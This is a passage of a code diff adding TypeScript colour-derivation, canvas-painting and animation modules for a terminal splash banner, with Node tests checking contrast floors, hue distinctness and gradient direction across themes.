assert.deepEqual(bad, []); // kills M3
});
test("each half of the distinctness gate rejects what the other half admits", () => {
// Tested directly on synthetic triads, NOT via the 62-theme census, because
// on the shipped themes the two halves mask each other: disabling either
// alone changes no theme's stops. A census-only test lets a reviewer delete
// one half and see all green.
//
// Hue-blind: three greys. sRGB says "far apart", hue says "same colour".
assert.equal(stopsAreDistinct(["#ffffff", "#a0a0a0", "#606060"]), false);
// Distance-blind: muted triad at hue 19.1deg, which CLEARS the hue half,
// but only 29.7 apart in sRGB — three colours on paper, one smudge on
// screen. Only the distance half rejects it.
assert.equal(stopsAreDistinct(["#6a7f8f", "#7f6a8f", "#8f7f6a"]), false);
// A real shipped triad (dark-plus) passes both.
assert.equal(stopsAreDistinct(["#569cd6", "#d7ba7d", "#b5cea8"]), true);
});
test("sRGB distance alone cannot gate distinctness", () => {
// Negative control on the gate itself: if this ever fails, the conjunction
// has stopped being a conjunction.
assert.ok(srgbDist("#ffffff", "#a0a0a0") > 60);
assert.ok(hueDist("#ffffff", "#a0a0a0") < 1);
});
test("the gradient walks the short hue arc and never reverses", () => {
// Total-variation counting was too noisy to catch a long-arc mutant (8-bit
// jitter -> false positives), and an off-arc angle tolerance misses it when
// the two arcs are near-equal (tokyo-night spans 178.3 deg). The invariant
// that holds: every step moves in the short-arc direction. (kills M5)
for (const [name, p] of THEMES) {
const { stops } = bannerStops(p);
for (const [lo, hi, a, b] of [
[0, 0.5, 0, 1],
[0.5, 1, 1, 2],
]) {
const want = Math.sign(shortArcStep(stops[a], stops[b]));
if (want === 0) continue;
let wrong = 0,
prev = bannerColor(p, stops, "head", lo);
for (let i = 1; i <= 50; i++) {
const c = bannerColor(p, stops, "head", lo + ((hi - lo) * i) / 50);
const step = shortArcStep(prev, c);
if (Math.abs(step) > REVERSAL_DEADBAND_DEG && Math.sign(step) !== want)
wrong++;
prev = c;
}
assert.ok(wrong <= 5, `${name}: ${wrong} wrong-direction steps of 50`);
}
}
});
test("the field fades monotonically from the box out to the rim", () => {
for (const [name, p] of THEMES) {
const { stops } = bannerStops(p);
const r = [...Array(SAMPLES)].map((_, i) =>
ratio(bannerColor(p, stops, "field", i / (SAMPLES - 1)), p.background),
);
for (let i = 1; i < r.length; i++) {
assert.ok(r[i] <= r[i - 1] + 0.02, `${name} non-monotone at ${i}`); // kills M7
}
assert.ok(r[0] > r[r.length - 1] + 1, `${name} field does not fade`);
}
});
test("the bevel keeps a visible light/shadow gap", () => {
for (const [name, p] of THEMES) {
const { stops } = bannerStops(p);
const hi = ratio(bannerColor(p, stops, "bevel_hi", 0), p.background);
const lo = ratio(bannerColor(p, stops, "bevel_lo", 0), p.background);
// ORIENTED, not just separated: a gap assertion is symmetric under
// swapping the two bevel layers, and a swap changes neither cell count nor
// draw-call count. Only a colour-valued, directional check sees it.
assert.ok(
hi > lo,
`${name} bevel inverted: hi ${hi.toFixed(2)} <= lo ${lo.toFixed(2)}`,
);
assert.ok(hi - lo >= 1.0, `${name} bevel gap ${(hi - lo).toFixed(2)}`);
}
});
test("every layer returns a colour", () => {
// A renamed layer silently returned undefined once; this is that regression.
for (const [name, p] of THEMES.slice(0, 3)) {
const { stops } = bannerStops(p);
for (const layer of ["field", "head", "bevel_hi", "bevel_lo"]) {
assert.match(
bannerColor(p, stops, layer, 0.5),
/^#[0-9a-f]{6}$/,
`${name}/${layer}`,
);
}
}
});
test("contrast is lifted to the floor, never pinned down to it", () => {
// A floor is not a target: pinning dimmed 30 of 62 themes and cost chroma.
const spread = THEMES.map(([, p]) => {
const { stops } = bannerStops(p);
return Math.max(...stops.map((s) => ratio(s, p.background)));
});
assert.ok(Math.max(...spread) > 8, "no theme exceeds the floor => pinned");
});

View File

@@ -0,0 +1,408 @@
/**
* Terminal banner colour derivation — the colour half of the banner contract.
*
* Geometry (terminalBanner.ts) is pure and carries no colour:
* grid[row][col] = { char, layer, t }. This module maps (layer, t) -> hex,
* given the theme's TerminalPalette. Colour is derived in the renderer and
* regenerated only on viewport or theme change.
*
* Why the palette and not the CSS vars: `--primary` is a user preference that
* collapses to `--foreground` on the Buzz themes (ThemeProvider.tsx), and
* `--secondary` / `--accent` are assigned the same 6% hover tint
* (adaptive-theme.ts:241-243). A literal primary/secondary/accent fade is two
* stops, one of which is the background. The TerminalPalette carries the
* theme's real hues, so the three stops come from there.
*
* Thresholds: contrast 4.5 is WCAG 2.2 SC 1.4.3 (body text). Chroma 16,
* hue 12 (CIEDE2000 dH', equal-L*) and sRGB 45 are HOUSE thresholds with no
* external standard — sized by
* sweep and stable across 8-25 chroma x 8-20 hue.
*
* Validated by terminalBannerColor.test.mjs: all 62 shipped themes pass every
* gate, and 8 mutants of this file are killed by those gates.
*/
import type {
AnsiColorName,
TerminalPalette,
} from "../../shared/theme/terminal-palette.ts";
// sRGB -> CIELAB -> CIEDE2000. Instrument for "are two stops visibly distinct".
export const hex2rgb = (h: string) =>
[1, 3, 5].map((i) => parseInt(h.slice(i, i + 2), 16));
export const rgb2hex = (r: readonly number[]) =>
"#" +
r
.map((v) =>
Math.max(0, Math.min(255, Math.round(v)))
.toString(16)
.padStart(2, "0"),
)
.join("");
const lin = (c: number) => {
c /= 255;
return c <= 0.04045 ? c / 12.92 : ((c + 0.055) / 1.055) ** 2.4;
};
export const lum = (h: string) => {
const [r, g, b] = hex2rgb(h);
return 0.2126 * lin(r) + 0.7152 * lin(g) + 0.0722 * lin(b);
};
export const ratio = (a: string, b: string) => {
const [x, y] = [lum(a), lum(b)].sort((p, q) => q - p);
return (x + 0.05) / (y + 0.05);
};
export const mix = (a: string, b: string, t: number) =>
rgb2hex(hex2rgb(a).map((v, i) => v + (hex2rgb(b)[i] - v) * t));
export function lab(hex: string) {
const [r, g, b] = hex2rgb(hex).map(lin);
// sRGB D65 -> XYZ
let x = r * 0.4124 + g * 0.3576 + b * 0.1805;
let y = r * 0.2126 + g * 0.7152 + b * 0.0722;
let z = r * 0.0193 + g * 0.1192 + b * 0.9505;
x /= 0.95047;
y /= 1.0;
z /= 1.08883;
const f = (t: number) =>
t > 216 / 24389 ? Math.cbrt(t) : (841 / 108) * t + 4 / 29;
const [fx, fy, fz] = [f(x), f(y), f(z)];
return { L: 116 * fy - 16, a: 500 * (fx - fy), b: 200 * (fy - fz) };
}
export function de00(
p: { L: number; a: number; b: number },
q: { L: number; a: number; b: number },
) {
const rad = Math.PI / 180,
deg = 180 / Math.PI;
const C1 = Math.hypot(p.a, p.b),
C2 = Math.hypot(q.a, q.b);
const Cbar = (C1 + C2) / 2;
const G = 0.5 * (1 - Math.sqrt(Cbar ** 7 / (Cbar ** 7 + 25 ** 7)));
const a1p = (1 + G) * p.a,
a2p = (1 + G) * q.a;
const C1p = Math.hypot(a1p, p.b),
C2p = Math.hypot(a2p, q.b);
const hp = (b: number, a: number) => {
if (b === 0 && a === 0) return 0;
const v = Math.atan2(b, a) * deg;
return v < 0 ? v + 360 : v;
};
const h1p = hp(p.b, a1p),
h2p = hp(q.b, a2p);
const dLp = q.L - p.L,
dCp = C2p - C1p;
let dhp = 0;
if (C1p * C2p !== 0) {
dhp = h2p - h1p;
if (dhp > 180) dhp -= 360;
else if (dhp < -180) dhp += 360;
}
const dHp = 2 * Math.sqrt(C1p * C2p) * Math.sin((dhp / 2) * rad);
const Lbp = (p.L + q.L) / 2,
Cbp = (C1p + C2p) / 2;
let hbp = h1p + h2p;
if (C1p * C2p !== 0) {
if (Math.abs(h1p - h2p) > 180) hbp += h1p + h2p < 360 ? 360 : -360;
hbp /= 2;
}
const T =
1 -
0.17 * Math.cos((hbp - 30) * rad) +
0.24 * Math.cos(2 * hbp * rad) +
0.32 * Math.cos((3 * hbp + 6) * rad) -
0.2 * Math.cos((4 * hbp - 63) * rad);
const dTh = 30 * Math.exp(-(((hbp - 275) / 25) ** 2));
const Rc = 2 * Math.sqrt(Cbp ** 7 / (Cbp ** 7 + 25 ** 7));
const Sl = 1 + (0.015 * (Lbp - 50) ** 2) / Math.sqrt(20 + (Lbp - 50) ** 2);
const Sc = 1 + 0.045 * Cbp,
Sh = 1 + 0.015 * Cbp * T;
const Rt = -Math.sin(2 * dTh * rad) * Rc;
return Math.sqrt(
(dLp / Sl) ** 2 +
(dCp / Sc) ** 2 +
(dHp / Sh) ** 2 +
Rt * (dCp / Sc) * (dHp / Sh),
);
}
import type { TerminalBannerLayer } from "./terminalBanner.ts";
export type Layer = TerminalBannerLayer;
// WCAG 2.2 SC 1.4.3: 4.5:1 body text. The wordmark is content, not decoration.
const WORDMARK_FLOOR = 4.5;
// Ours, tuning, no standard:
const FIELD_CORE = 2.6; // hex field nearest the box — present, not competing
const FIELD_EDGE = 1.04; // at the rim — all but gone
const BEVEL_HI = 2.9; // lit edge
const BEVEL_LO = 1.55; // shadowed edge; the ratio gap IS the bevel
const CHROMA_MIN = 16; // Lab C*: below this a "hue" is a grey
// UNIT: CIEDE2000 dH' with both colours forced to a shared L*. NOT raw LCh
// hue-angle degrees, which run ~1.5-3x larger on the same stops (red 13.0 vs
// 19.3, kanagawa-dragon 25.1 vs 75.3) because S_H weights by chroma and hue.
// Quoting a degrees figure next to this threshold compares different units.
const HUE_MIN = 12;
const SRGB_MIN = 45; // min pairwise sRGB distance, conjoined with HUE_MIN
/** Euclidean sRGB distance. Guards near-coincident stops that differ in hue
* angle but barely in appearance. NOT sufficient alone: it counts lightness,
* so white vs #a0a0a0 scores 165 while being hue-identical (hueDist 0.0). */
const srgbDist = (a: string, b: string) =>
Math.hypot(...hex2rgb(a).map((v, i) => v - hex2rgb(b)[i]));
const chroma = (h: string) => {
const v = lab(h);
return Math.hypot(v.a, v.b);
};
/** CIEDE2000 with both colours forced to a shared L — lightness must not
* rescue a pair that is really one hue at two brightnesses. */
const hueDist = (a: string, b: string) => {
const p = lab(a),
q = lab(b),
L = (p.L + q.L) / 2;
return de00({ L, a: p.a, b: p.b }, { L, a: q.a, b: q.b });
};
function away(c: string, bg: string, floor: number) {
const dir = lum(bg) > 0.5 ? "#000000" : "#ffffff";
let x = c;
for (let i = 0; i < 200 && ratio(x, bg) < floor; i++) x = mix(x, dir, 0.02);
return x;
}
/** Solve for a CONTRAST RATIO, never a fixed mix fraction: one constant
* fraction gives a 2.6x appearance spread across themes. */
function atRatio(colour: string, bg: string, target: number) {
const have = ratio(colour, bg);
if (have < target) return away(colour, bg, target);
// Idempotence: re-pinning an already-compliant colour bisects it a hair
// closer to the ground each time, and every pass costs chroma. Measured on
// kanagawa-dragon: a second pin dropped a stop from C* 16.1 to 15.5.
if (have - target < 0.05) return colour;
let lo = 0,
hi = 1,
best = colour;
for (let i = 0; i < 28; i++) {
const m = (lo + hi) / 2,
c = mix(colour, bg, m);
if (ratio(c, bg) > target) {
best = c;
lo = m;
} else hi = m;
}
return best;
}
function lab2hex(L: number, A: number, B: number) {
const fy = (L + 16) / 116,
fx = fy + A / 500,
fz = fy - B / 200;
const fi = (t: number) =>
t ** 3 > 216 / 24389 ? t ** 3 : (116 * t - 16) / (24389 / 27);
const x = fi(fx) * 0.95047,
y = L > 8 ? ((L + 16) / 116) ** 3 : L / (24389 / 27),
z = fi(fz) * 1.08883;
const g = (c: number) => {
c = Math.max(0, Math.min(1, c));
return c <= 0.0031308 ? 12.92 * c : 1.055 * c ** (1 / 2.4) - 0.055;
};
const to = (v: number) =>
Math.round(g(v) * 255)
.toString(16)
.padStart(2, "0");
return `#${to(x * 3.2406 + y * -1.5372 + z * -0.4986)}${to(x * -0.9689 + y * 1.8758 + z * 0.0415)}${to(x * 0.0557 + y * -0.204 + z * 1.057)}`;
}
/** Raise to the floor if short, otherwise leave alone. A floor is a floor,
* not a target: `atRatio` also pins DOWN, which dimmed every vivid theme to
* exactly 4.5 and cost chroma (tokyo-night's #f7768e sits at 6.46 natively).
* Use this wherever the requirement is "at least", and `atRatio` only where a
* specific ratio is the design (the field decay and the bevel gap).
*
* Exported because the animation's colour table interpolates BETWEEN solved
* samples, and a straight-line blend under a convex contrast curve lands
* slightly below both endpoints — measured at 4.4766 against the 4.5 floor on
* solarized-light. The blend has to be re-lifted with the same operator that
* put the endpoints on the floor in the first place. */
export const lift = (c: string, bg: string, floor: number) =>
ratio(c, bg) >= floor ? c : away(c, bg, floor);
/**
* The distinctness gate. Conjunction by design, and each half is tested
* directly (terminalBannerColor.test.mjs) because on the 62 shipped themes the
* two halves MASK EACH OTHER: disabling either alone changes no theme's stops,
* only disabling both does. A census can therefore never justify keeping both.
*
* Neither half is sufficient. sRGB distance counts lightness, so white vs
* #a0a0a0 scores 165 while being one hue. Hue alone admits stops that differ
* in angle but barely in appearance.
*
* Thresholds: hue 12 (CIEDE2000 dH', equal-L*) and sRGB 45 are HOUSE
* thresholds with no external
* standard, sized by sweep. The contrast floor 4.5 is WCAG 2.2 SC 1.4.3.
*/
export function stopsAreDistinct(s: [string, string, string]): boolean {
const min = (f: (a: string, b: string) => number) =>
Math.min(f(s[0], s[1]), f(s[1], s[2]), f(s[0], s[2]));
return min(hueDist) >= HUE_MIN && min(srgbDist) >= SRGB_MIN;
}
const HUES = ["red", "green", "yellow", "blue", "magenta", "cyan"] as const;
/** The three wordmark stops: maximally hue-separated, each at the text floor. */
export function bannerStops(p: TerminalPalette): {
stops: [string, string, string];
mode: "native" | "synth";
} {
const bg = p.background;
const seen = new Set<string>();
const pool: string[] = [];
for (const n of HUES)
for (const k of [n, `bright${n[0].toUpperCase()}${n.slice(1)}`]) {
const c = lift(p.ansi[k as AnsiColorName], bg, WORDMARK_FLOOR);
if (!seen.has(c)) {
seen.add(c);
pool.push(c);
}
}
const chromatic = pool.filter((c) => chroma(c) >= CHROMA_MIN);
const pick = (cs: string[]) => {
let seed = [cs[0], cs[1]],
best = -1;
for (let i = 0; i < cs.length; i++)
for (let j = i + 1; j < cs.length; j++) {
const d = hueDist(cs[i], cs[j]);
if (d > best) {
best = d;
seed = [cs[i], cs[j]];
}
}
const ch = [...seed];
let third = cs[0],
td = -1;
for (const c of cs) {
if (ch.includes(c)) continue;
const d = Math.min(...ch.map((x) => hueDist(x, c)));
if (d > td) {
td = d;
third = c;
}
}
return [...ch, third];
};
let stops: string[] | null = null;
if (chromatic.length >= 3) {
const s = pick(chromatic);
// Conjunction. Neither alone is sufficient: sRGB distance counts
// lightness, so it scores white-vs-grey 165 while they are one hue; and
// hue alone admits stops that differ in angle but barely in appearance.
if (stopsAreDistinct(s as [string, string, string])) stops = s;
}
let mode: "native" | "synth" = "native";
if (!stops) {
// Near-monochrome theme (vesper, min-dark): rotate +/-40 deg in LCh around
// the theme's own most chromatic colour. It stays the theme's hue family —
// a restrained theme stays restrained, it just gains a fade.
mode = "synth";
const anchor = pool.reduce((a, b) => (chroma(b) > chroma(a) ? b : a));
const v = lab(anchor),
C = Math.max(Math.hypot(v.a, v.b), 22),
h0 = (Math.atan2(v.b, v.a) * 180) / Math.PI;
stops = [-40, 0, 40].map((d) => {
const h = ((h0 + d) * Math.PI) / 180;
return lift(
lab2hex(v.L, C * Math.cos(h), C * Math.sin(h)),
bg,
WORDMARK_FLOOR,
);
});
}
// order by hue angle so the sweep is monotone across the wordmark
stops.sort((a, b) => {
const x = lab(a),
y = lab(b);
return Math.atan2(x.b, x.a) - Math.atan2(y.b, y.a);
});
return { stops: stops as [string, string, string], mode };
}
/**
* 3-stop ramp interpolated in CIELCh (polar Lab) along the SHORT hue arc,
* then re-solved to the target ratio so every sampled point keeps its contrast
* instead of sagging between stops.
*
* Not RGB interpolation: a straight line in RGB between two opposing hues
* passes through the neutral axis, so the fade greys out mid-glyph. Measured
* on vitesse-dark, whose stops are all C* >= 24 yet whose RGB midpoint fell to
* C* 2.3 — three chromatic stops and a grey wordmark. Interpolating the hue
* ANGLE keeps chroma up across the whole sweep.
*/
function lerpLch(a: string, b: string, u: number) {
const p = lab(a),
q = lab(b);
const [C1, C2] = [Math.hypot(p.a, p.b), Math.hypot(q.a, q.b)];
const h1 = Math.atan2(p.b, p.a),
h2 = Math.atan2(q.b, q.a);
let dh = h2 - h1; // short arc
if (dh > Math.PI) dh -= 2 * Math.PI;
if (dh < -Math.PI) dh += 2 * Math.PI;
const L = p.L + (q.L - p.L) * u;
const C = C1 + (C2 - C1) * u;
const h = h1 + dh * u;
return lab2hex(L, C * Math.cos(h), C * Math.sin(h));
}
function ramp(
stops: [string, string, string],
t: number,
bg: string,
target: number,
pin = true,
) {
const u = Math.max(0, Math.min(1, t));
const c =
u < 0.5
? lerpLch(stops[0], stops[1], u * 2)
: lerpLch(stops[1], stops[2], (u - 0.5) * 2);
return pin ? atRatio(c, bg, target) : lift(c, bg, target);
}
/**
* `t` and `hue` are TWO AXES, and on the field they are not the same axis.
*
* A cell's `t` from the geometry is radial: `ray * ray`, a cast outward from
* the chassis. It sets the field's CONTRAST decay (2.60 at the box to 1.04 at
* the rim) and it also used to set the hue position, because a static banner
* has no reason to tell them apart. An animated wave does: driving hue from
* the radial axis makes the colour travel outward from the box like a ripple,
* and driving the contrast target from a moving axis makes the rim pulse
* bright and breaks the monotonic fade the field is specced on.
*
* So `hue` selects the position along the three-stop ramp and `t` keeps the
* contrast decay. `hue` DEFAULTS TO `t`, which is exactly the coupled
* behaviour the static banner shipped with — callers that omit it get the
* shipped pixels, byte for byte.
*/
export function bannerColor(
p: TerminalPalette,
stops: [string, string, string],
layer: Layer,
t: number,
hue: number = t,
): string {
const bg = p.background;
switch (layer) {
case "head":
// Tyler: "fill the box with buzz term in a three color fade".
return ramp(stops, hue, bg, WORDMARK_FLOOR, false);
case "field":
// Tyler: "flow to the edges, fading out" + "colour shift centre to edge".
// Same three hues, so the field and the mark are one palette; the fade is
// in CONTRAST, from 2.60 at the box to 1.04 at the rim.
return ramp(
stops,
hue,
bg,
FIELD_CORE + (FIELD_EDGE - FIELD_CORE) * Math.max(0, Math.min(1, t)),
);
case "bevel_hi":
return atRatio(p.foreground, bg, BEVEL_HI);
case "bevel_lo":
return atRatio(p.foreground, bg, BEVEL_LO);
}
}

View File

@@ -0,0 +1,127 @@
import assert from "node:assert/strict";
import test from "node:test";
import { buildTerminalBanner } from "./terminalBanner.ts";
import { paintTerminalBanner } from "./terminalBannerPainter.ts";
const palette = {
background: "#10141c",
foreground: "#d0d0d0",
cursor: "#ffffff",
cursorText: "#000000",
ansi: {
black: "#10141c",
red: "#f07178",
green: "#aad94c",
yellow: "#ffb454",
blue: "#59c2ff",
magenta: "#d2a6ff",
cyan: "#95e6cb",
white: "#d0d0d0",
brightBlack: "#4d5566",
brightRed: "#f07178",
brightGreen: "#aad94c",
brightYellow: "#ffb454",
brightBlue: "#59c2ff",
brightMagenta: "#d2a6ff",
brightCyan: "#95e6cb",
brightWhite: "#ffffff",
},
};
function canvas() {
const draws = [];
const clears = [];
const colors = [];
const fills = [];
const context = {
_fillStyle: "",
clearRect(...args) {
clears.push(args);
},
fillRect(...args) {
fills.push({ args, color: this._fillStyle, glyphsBefore: draws.length });
},
fillText(...args) {
draws.push(args);
colors.push(this._fillStyle);
},
font: "",
set fillStyle(value) {
this._fillStyle = value;
},
get fillStyle() {
return this._fillStyle;
},
setTransform() {},
textBaseline: "",
};
return {
canvas: {
height: 0,
width: 0,
getBoundingClientRect: () => ({ height: 600, width: 1000 }),
getContext: () => context,
},
clears,
colors,
draws,
fills,
};
}
test("paints every emitted banner glyph at terminal cell coordinates", () => {
const banner = buildTerminalBanner(112, 46, 17 / 8.4);
assert.ok(banner);
const emitted = banner.cells.flat().filter((cell) => cell.char !== " ");
const target = canvas();
assert.equal(paintTerminalBanner(target.canvas, banner, palette, 2), true);
assert.equal(target.draws.length, emitted.length);
assert.ok(target.draws.some(([char]) => char === "█"));
assert.ok(target.draws.some(([char]) => char === "/"));
assert.ok(target.draws.some(([, x, y]) => x > 0 && y > 0));
assert.equal(target.canvas.width, 2000);
assert.equal(target.canvas.height, 1200);
assert.deepEqual(target.clears, [[0, 0, 1000, 600]]);
});
test("lays an opaque theme background under the banner before any glyph", () => {
const banner = buildTerminalBanner(112, 46, 17 / 8.4);
assert.ok(banner);
const target = canvas();
assert.equal(paintTerminalBanner(target.canvas, banner, palette, 2), true);
assert.equal(target.fills.length, 1);
const [ground] = target.fills;
assert.deepEqual(ground.args, [0, 0, 1000, 600]);
assert.equal(ground.color, palette.background);
assert.equal(ground.glyphsBefore, 0);
assert.ok(target.draws.length > 0);
});
test("uses visibly distinct theme-derived colors across banner layers", () => {
const banner = buildTerminalBanner(112, 46, 17 / 8.4);
assert.ok(banner);
const target = canvas();
paintTerminalBanner(target.canvas, banner, palette, 1);
assert.ok(new Set(target.colors).size >= 3);
assert.equal(target.colors.includes(""), false);
});
test("fails closed when the banner canvas has no 2d context", () => {
const banner = buildTerminalBanner(112, 46, 17 / 8.4);
assert.ok(banner);
assert.equal(
paintTerminalBanner(
{
height: 0,
width: 0,
getBoundingClientRect: () => ({ height: 600, width: 1000 }),
getContext: () => null,
},
banner,
palette,
1,
),
false,
);
});

View File

@@ -0,0 +1,87 @@
import type { TerminalPalette } from "../../shared/theme/terminal-palette";
import type { TerminalBanner, TerminalBannerLayer } from "./terminalBanner";
import { bannerColor, bannerStops } from "./terminalBannerColor";
import {
type BannerColorTable,
type BannerWaves,
makeCellHue,
} from "./terminalBannerWave";
import { TERMINAL_CELL_METRICS } from "./terminalRenderer";
/**
* Optional animation input. ABSENT means the shipped static banner, not a
* stopped animation — those differ, because a halted rAF loop still parks on
* whatever phase it stopped at. `prefers-reduced-motion` takes this path, and
* the painter then calls `bannerColor` with no hue argument, which is the exact
* coupled call the static banner shipped with. Verified as byte equality on
* every draw call, not asserted by inspection.
*/
export type TerminalBannerMotion = {
phase: { field: number; wordmark: number };
table: BannerColorTable;
/** Tuning override. Omitted = the shipped FIELD_WAVE/WORDMARK_WAVE constants;
* supplied only by the gates that drive each knob to its documented extreme. */
waves?: BannerWaves;
};
export function paintTerminalBanner(
canvas: HTMLCanvasElement,
banner: TerminalBanner,
palette: TerminalPalette,
dpr: number,
motion?: TerminalBannerMotion,
): boolean {
const bounds = canvas.getBoundingClientRect();
const pixelWidth = Math.max(1, Math.round(bounds.width * dpr));
const pixelHeight = Math.max(1, Math.round(bounds.height * dpr));
if (canvas.width !== pixelWidth) canvas.width = pixelWidth;
if (canvas.height !== pixelHeight) canvas.height = pixelHeight;
const context = canvas.getContext("2d");
if (!context) return false;
context.setTransform(dpr, 0, 0, dpr, 0, 0);
context.clearRect(0, 0, bounds.width, bounds.height);
// The overlay sits above the grid canvas, so it needs its own opaque
// ground: without one the shell output painted underneath shows through
// the gaps between banner glyphs.
context.fillStyle = palette.background;
context.fillRect(0, 0, bounds.width, bounds.height);
context.font = TERMINAL_CELL_METRICS.font;
context.textBaseline = "alphabetic";
// Resolve the colour strategy ONCE, outside the loop: the motion and static
// paths differ in what they close over, not per cell. The field wave is a
// projection onto a direction vector, so the hue closure needs the banner's
// extent in BOTH axes; it is built here so the per-cell path stays four
// scalars with no per-cell allocation.
const columns = banner.cells[0]?.length ?? 1;
const rows = banner.cells.length || 1;
const colourOf = motion
? (() => {
const hueAt = makeCellHue(columns, rows, motion.phase, motion.waves);
return (
layer: TerminalBannerLayer,
t: number,
column: number,
row: number,
) => motion.table.lookup(layer, t, hueAt(layer, t, column, row));
})()
: (() => {
const { stops } = bannerStops(palette);
return (layer: TerminalBannerLayer, t: number) =>
bannerColor(palette, stops, layer, t);
})();
for (const [row, cells] of banner.cells.entries()) {
for (const [column, cell] of cells.entries()) {
if (cell.char === " " || !cell.layer) continue;
context.fillStyle = colourOf(cell.layer, cell.t, column, row);
context.fillText(
cell.char,
column * TERMINAL_CELL_METRICS.width,
row * TERMINAL_CELL_METRICS.height + TERMINAL_CELL_METRICS.baseline,
);
}
}
return true;
}

File diff suppressed because it is too large Load Diff

View File

@@ -0,0 +1,484 @@
/**
* Terminal banner animation — the MOTION half of the banner contract.
*
* Geometry (terminalBanner.ts) is static and colour-free; colour
* (terminalBannerColor.ts) maps (layer, t, hue) -> hex. This module supplies
* the `hue` axis as a function of time and screen position, plus the lookup
* table that makes it affordable.
*
* Tyler, amendment (msg 25bf80a2) — AUTHORITATIVE: the field wave
* "originates bottom right and travels top left", not plain right-to-left.
* This SUPERSEDES the original directive: "slow waves of the buzz theme colors
* moving across the honeycomb lattice right to left, with a separate slow
* color wave on the `buzz term` going left to right". The wordmark half is
* unchanged by the amendment; only the field's axis moved.
*
* Two independent waves, different axes, different periods:
* - field -> originates bottom-right, travels top-left across the whole
* viewport (see FIELD_WAVE.direction = {x:-1, y:-1})
* - wordmark -> left-to-right across the wordmark's own ink span
*
* LOOP SEMANTICS. Phase advances monotonically and wraps at 1 -> 0 (`phaseAt`
* via `wrap01`); travel is continuous and one-way for as long as it advances,
* and one full cycle translates the pattern by exactly one spatial period, so
* the wrap is C0 with no snap and no reversal. The palette axis is folded
* (`cyclicRampPosition`) so the open three-stop ramp can be driven by a cyclic
* phase without a seam. Proof that folding the palette does NOT fold the motion
* is on `cyclicRampPosition` -- read it before touching either.
*
* The bevels do not animate. They are the chassis; a moving highlight would
* read as the box itself deforming.
*/
import type { TerminalPalette } from "../../shared/theme/terminal-palette";
import {
type Layer,
bannerColor,
bannerStops,
hex2rgb,
lift,
rgb2hex,
} from "./terminalBannerColor";
/** WCAG 2.2 SC 1.4.3 body text, the wordmark's floor. Re-declared here because
* the interpolated blend has to be re-lifted to it; see `sampleHead`. */
const WORDMARK_FLOOR = 4.5;
/**
* ============================================================================
* TUNING. Everything Tyler can retune lives in this one block.
* ============================================================================
*
* Two independent waves, one config each. Every knob states its unit and what
* "bigger" does. Nothing else in this file needs editing to retune the
* animation.
*
* `direction` is a vector in VISUAL space, not cell space. This matters: a
* terminal cell is 8.4 x 17 CSS px, so it is about 2:1 tall, and a naive
* (-1,-1) over cell indices would render as a shallow 27-degree wave rather
* than the intended diagonal. `projectWave` converts to visual space before
* projecting, so a 45-degree vector here looks like 45 degrees on screen.
*/
export type BannerWaveConfig = {
/**
* Travel direction in visual space; x grows right, y grows DOWN. The wave
* moves TOWARD this vector, so it appears to originate from the opposite
* corner. Magnitude is irrelevant — it is normalised.
*/
direction: { x: number; y: number };
/**
* Seconds for one full traversal of the colour ramp. BIGGER = SLOWER.
* This is ambience, not a screensaver: the direction gate is indifferent to
* this value but the "slow" gate requires it to stay above 5s.
*/
seconds: number;
/**
* How much of the colour ramp is visible across one screen-width of travel,
* in ramp traversals. BIGGER = MORE COLOUR BANDS ON SCREEN AT ONCE (a
* tighter, busier wave); smaller = a broader, calmer wash.
*
* 0.5 is one traversal of the ramp across the span, which is exactly the
* spatial colour gradient the static banner shipped with.
*
* SAFE RANGE 0.125..2.0, measured against the no-worse-than-static gate in
* CIEDE2000: worst excess over a theme's own static step is 0.47 at 0.5 and
* stays under 0.62 all the way to 2.0. At 4.0 it hits 8.92 and fails 24
* themes — that is where the lattice genuinely reads as stripes rather than a
* wash. Contrast is INDEPENDENT of this knob (it only rescales position along
* an axis whose floors are proven end to end), so the binding constraint here
* is spatial busyness, not legibility.
*/
wavelength: number;
/**
* Fraction of the colour ramp the wave actually sweeps, 0..1. BIGGER = MORE
* COLOUR TRAVEL; 0 pins every cell to the ramp's midpoint (a still, single
* colour) and 1 uses the full three-stop sweep.
*
* CONTRAST-SAFE OVER ITS WHOLE RANGE, and that is a property of the design
* rather than of the default: intensity only narrows which part of the hue
* axis gets used, and the contrast gate covers the ENTIRE hue axis on all 62
* themes. So no value in [0,1] can reach an unsampled, unproven colour.
* Values outside [0,1] are clamped for the same reason.
*/
intensity: number;
};
/**
* Tyler: field originates BOTTOM-RIGHT and travels to TOP-LEFT, so the
* direction vector points up-and-left. The wordmark keeps its own
* left-to-right sweep, anchored to the letters rather than the viewport.
*
* Tyler, amendment (msg 4e7abbc8): "double the animation speed on the buzz
* term splash screen". Both periods halved from the original 26s/19s; the
* "slow" gate's floor moved from 10s to 5s to match.
*/
export const FIELD_WAVE: BannerWaveConfig = {
direction: { x: -1, y: -1 },
seconds: 13,
wavelength: 0.5,
intensity: 1,
};
export const WORDMARK_WAVE: BannerWaveConfig = {
// Left-to-right along the mark's own ink span; y is unused for the wordmark,
// whose axis is the geometry's `t`, not a screen position.
direction: { x: 1, y: 0 },
seconds: 9.5,
wavelength: 0.5,
intensity: 1,
};
/** Kept as named exports because the "slow" and seam gates assert on them. */
export const FIELD_PERIOD_SECONDS = FIELD_WAVE.seconds;
export const WORDMARK_PERIOD_SECONDS = WORDMARK_WAVE.seconds;
/**
* Sampling resolution of the `hue` axis.
*
* Bucket COUNT is not what makes the gradient smooth — `lookup` interpolates
* between neighbouring samples, so its output is continuous in hue at any
* count. I measured the alternative first and it does not work: with
* nearest-bucket lookup the worst adjacent-sample step on light-plus only fell
* from 22.1 to 7.0 going from 256 buckets to 2048, because the three-stop ramp
* has a genuinely steep stretch rather than a quantisation artifact. Eight
* times the memory for a step still visible on a light theme is the wrong
* trade; interpolating removes the axis entirely.
*
* So this count controls FIDELITY only: how closely the piecewise-linear
* reconstruction tracks the true curved LCh path. 128 samples holds every
* shipped theme's deviation from `bannerColor` under the fidelity gate.
*/
export const HUE_BUCKETS = 128;
/**
* Sampling resolution of the field's radial CONTRAST axis, also interpolated.
*
* This axis does not move, so it costs nothing per frame — but it multiplies
* the fill: the field's `atRatio` pin is a 28-step bisection at ~23us a call
* against ~0.9us for the wordmark's `lift` path, so the field table is
* essentially the whole build cost. Interpolation is what lets this stay small
* enough to fill without stalling the reveal.
*/
export const CONTRAST_BUCKETS = 24;
/**
* Position on a sampled axis, as a fractional index into `buckets` samples
* taken at bucket CENTRES. Clamped at both ends so the half-bucket beyond the
* first and last centres reads as that centre rather than extrapolating.
*/
const axisPosition = (value: number, buckets: number) =>
